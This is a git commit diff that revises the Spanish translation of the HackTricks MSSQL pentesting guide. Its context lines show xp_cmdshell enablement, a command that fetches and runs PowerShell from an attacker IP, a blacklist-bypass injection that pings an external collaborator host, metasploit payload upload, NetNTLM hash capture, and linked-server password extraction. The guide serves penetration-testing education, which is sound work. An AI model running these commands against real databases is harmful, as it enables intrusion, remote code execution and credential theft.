mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
5e25b46702
commit
3b91a39c0a
1 changed files with 21 additions and 21 deletions
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
@ -26,7 +26,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
Desde [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||
|
||||
> **Microsoft SQL Server** es un sistema de gestión de bases de datos **relacional** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software con la función principal de almacenar y recuperar datos solicitados por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluida Internet).\\
|
||||
> **Microsoft SQL Server** es un sistema de gestión de bases de datos relacionales desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software con la función principal de almacenar y recuperar datos solicitados por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluida Internet).\\
|
||||
|
||||
**Puerto predeterminado:** 1433
|
||||
```
|
||||
|
@ -37,7 +37,7 @@ Desde [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
* **Base de datos master**: Esta base de datos es crucial ya que captura todos los detalles a nivel del sistema para una instancia de SQL Server.
|
||||
* **Base de datos msdb**: El Agente de SQL Server utiliza esta base de datos para gestionar la programación de alertas y trabajos.
|
||||
* **Base de datos model**: Actúa como un modelo para cada nueva base de datos en la instancia de SQL Server, donde cualquier alteración como tamaño, intercalación, modelo de recuperación y más se reflejan en las bases de datos recién creadas.
|
||||
* **Base de datos Resource**: Una base de datos de solo lectura que alberga objetos del sistema que vienen con SQL Server. Estos objetos, aunque se almacenan físicamente en la base de datos de Recursos, se presentan lógicamente en el esquema sys de cada base de datos.
|
||||
* **Base de datos Resource**: Una base de datos de solo lectura que alberga objetos del sistema que vienen con SQL Server. Estos objetos, aunque se almacenan físicamente en la base de datos Resource, se presentan lógicamente en el esquema sys de cada base de datos.
|
||||
* **Base de datos tempdb**: Sirve como un área de almacenamiento temporal para objetos transitorios o conjuntos de resultados intermedios.
|
||||
|
||||
## Enumeración
|
||||
|
@ -85,7 +85,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
### [**Ataque de fuerza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Enumeración Manual
|
||||
|
||||
|
@ -154,9 +154,9 @@ SELECT * FROM sysusers
|
|||
|
||||
1. **Securable:** Definido como los recursos gestionados por SQL Server para el control de acceso. Estos se clasifican en:
|
||||
* **Servidor** - Ejemplos incluyen bases de datos, inicios de sesión, puntos de conexión, grupos de disponibilidad y roles de servidor.
|
||||
* **Base de datos** - Ejemplos abarcan roles de base de datos, roles de aplicación, esquema, certificados, catálogos de texto completo y usuarios.
|
||||
* **Base de datos** - Ejemplos abarcan roles de base de datos, roles de aplicación, esquemas, certificados, catálogos de texto completo y usuarios.
|
||||
* **Esquema** - Incluye tablas, vistas, procedimientos, funciones, sinónimos, etc.
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden ser otorgados a un principal. La gestión de permisos se realiza en dos niveles:
|
||||
2. **Permiso:** Asociado con securables de SQL Server, permisos como ALTER, CONTROL y CREATE pueden otorgarse a un principal. La gestión de permisos se realiza en dos niveles:
|
||||
* A nivel de **Servidor** utilizando inicios de sesión
|
||||
* A nivel de **Base de datos** utilizando usuarios
|
||||
3. **Principal:** Este término se refiere a la entidad a la que se le otorgan permisos sobre un securable. Los principales incluyen principalmente inicios de sesión y usuarios de base de datos. El control sobre el acceso a securables se ejerce mediante la concesión o denegación de permisos o incluyendo inicios de sesión y usuarios en roles equipados con derechos de acceso.
|
||||
|
@ -184,7 +184,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Ejecutar Comandos del Sistema Operativo
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso de EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
Ten en cuenta que para poder ejecutar comandos no solo es necesario tener **`xp_cmdshell`** **habilitado**, sino también tener el **permiso DE EJECUCIÓN en el procedimiento almacenado `xp_cmdshell`**. Puedes verificar quién (excepto los sysadmins) puede usar **`xp_cmdshell`** con:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -207,7 +207,7 @@ sp_configure 'xp_cmdshell', '1'
|
|||
RECONFIGURE
|
||||
|
||||
#One liner
|
||||
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
|
||||
|
||||
# Quickly check what the service account is via xp_cmdshell
|
||||
EXEC master..xp_cmdshell 'whoami'
|
||||
|
@ -217,7 +217,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
|||
# Bypass blackisted "EXEC xp_cmdshell"
|
||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||
```
|
||||
### Robo de hash NetNTLM / Ataque de relay
|
||||
### Robo de hash NetNTLM / Ataque de relé
|
||||
|
||||
Debes iniciar un **servidor SMB** para capturar el hash utilizado en la autenticación (`impacket-smbserver` o `responder` por ejemplo).
|
||||
```bash
|
||||
|
@ -342,7 +342,7 @@ Para **más ejemplos** consulta la [**fuente original**](https://blog.waynesheff
|
|||
|
||||
### RCE con Función Definida por el Usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Es posible **cargar un archivo .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, esto **requiere acceso `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o con un rol de Administrador**.
|
||||
Es posible **cargar un archivo .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, esto **requiere acceso como `dbo`**, por lo que necesitas una conexión con la base de datos **como `sa` o con un rol de Administrador**.
|
||||
|
||||
[Sigue este enlace](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo.
|
||||
|
||||
|
@ -445,26 +445,26 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## Extrayendo contraseñas de SQL Server Linked Servers
|
||||
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
Un atacante puede extraer contraseñas de SQL Server Linked Servers de las Instancias de SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para obtener un mayor control sobre el objetivo. El script para extraer y descifrar las contraseñas almacenadas para los Linked Servers se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
|
||||
|
||||
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de gestionar las configuraciones de SQL Server.
|
||||
Se deben realizar algunos requisitos y configuraciones para que este exploit funcione. En primer lugar, se debe tener derechos de administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
|
||||
Después de validar sus permisos, es necesario configurar tres cosas, que son las siguientes:
|
||||
|
||||
1. Habilitar TCP/IP en las instancias de SQL Server;
|
||||
2. Agregar un parámetro de inicio, en este caso, se agregará un flag de rastreo, que es -T7806.
|
||||
2. Agregar un parámetro de inicio, en este caso, se agregará un indicador de seguimiento, que es -T7806.
|
||||
3. Habilitar la conexión de administrador remoto.
|
||||
|
||||
Para automatizar estas configuraciones, [este repositorio](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tiene los scripts necesarios. Además de tener un script de PowerShell para cada paso de la configuración, el repositorio también tiene un script completo que combina los scripts de configuración y la extracción y descifrado de las contraseñas.
|
||||
|
||||
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrando contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Para obtener más información, consulte los siguientes enlaces sobre este ataque: [Descifrado de contraseñas de servidores de enlace de bases de datos MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Resolución de problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalada de Privilegios Local
|
||||
|
||||
El usuario que ejecuta el servidor MSSQL habrá habilitado el token de privilegio **SeImpersonatePrivilege.**\
|
||||
Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas:
|
||||
Probablemente podrá **escalar a Administrador** siguiendo una de estas 2 páginas:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -492,7 +492,7 @@ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 pági
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
|
@ -552,12 +552,12 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
|
Loading…
Reference in a new issue